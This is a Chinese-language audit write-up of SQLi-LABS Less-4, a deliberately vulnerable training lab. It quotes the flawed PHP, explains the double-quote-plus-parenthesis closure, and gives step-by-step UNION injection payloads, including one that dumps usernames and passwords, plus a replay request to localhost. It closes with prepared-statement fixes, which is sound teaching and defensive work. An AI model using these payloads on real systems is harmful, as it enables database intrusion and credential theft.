Less-4 代码审计报告:GET 双引号+括号报错注入

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-4/index.php 实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-4/index.php

// 第 18-20 行:直接取 GET 参数
if(isset($_GET['id']))
{
$id=$_GET['id'];

// 第 28 行:给 id 手工包裹双引号 → $id = '"' . $id . '"'
$id = '"' . $id . '"';

// 第 29 行:再放进括号 → WHERE id=("$id"),即双引号 + 括号
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

// 第 41-45 行:报错回显
else 
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";  
}

关键漏洞点:

• 第 20 行:$id=$_GET['id']; 未过滤。
• 第 28 行:$id = '"' . $id . '"'; 手工拼接双引号,但未对 $id 内部的引号做转义," 可被闭合。
• 第 29 行:WHERE id=($id) 即 WHERE id=("$id"),需用 ") 闭合。
• 第 44 行:print_r(mysql_error()); 回显错误。

3. 漏洞分析

• 输入来源:$_GET['id'],未过滤、未转义。
• SQL 拼接位置:WHERE id=("$id") LIMIT 0,1。
• 闭合方式:双引号 + 括号。注意本关用双引号 ",输入单引号 ' 不会报错(因为在双引号内)。注入时应先测 1",再补 ) 闭合,即 1")。
• 是否回显:第 33-39 行回显 username/password;第 44 行回显 mysql_error()。
• 与 Less-3 区别:Less-3 是单引号 ('$id'),Less-4 是双引号 ("$id")。双引号在 SQL 中同样界定字符串。

4. 利用方式

步骤一:判断注入点

?id=1'     → 正常显示(单引号在双引号内,不报错)
?id=1"     → 报错(双引号闭合)
?id=1")    → 正常,确认闭合为 ")

步骤二:判断字段数

?id=1") ORDER BY 3-- -

正常显示 → 3 列。

步骤三:判断回显位

?id=-1") UNION SELECT 1,2,3-- -

显示 Your Login name: 2 / Your Password: 3。

步骤四:数据提取(核心 Payload)

-1") UNION SELECT 1,2,database()-- -
-1") UNION SELECT 1,2,user()-- -
-1") UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-4/?id=-1%22)%20UNION%20SELECT%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

说明:%22="、%29=)、%20=空格、--%20-=-- -。

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• 强制整型校验:ctype_digit($_GET['id']),并移除第 28 行手工拼接引号的做法(改用参数化)。
• 关闭 display_errors、不回显 mysql_error()。
• 数据库账号最小权限;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。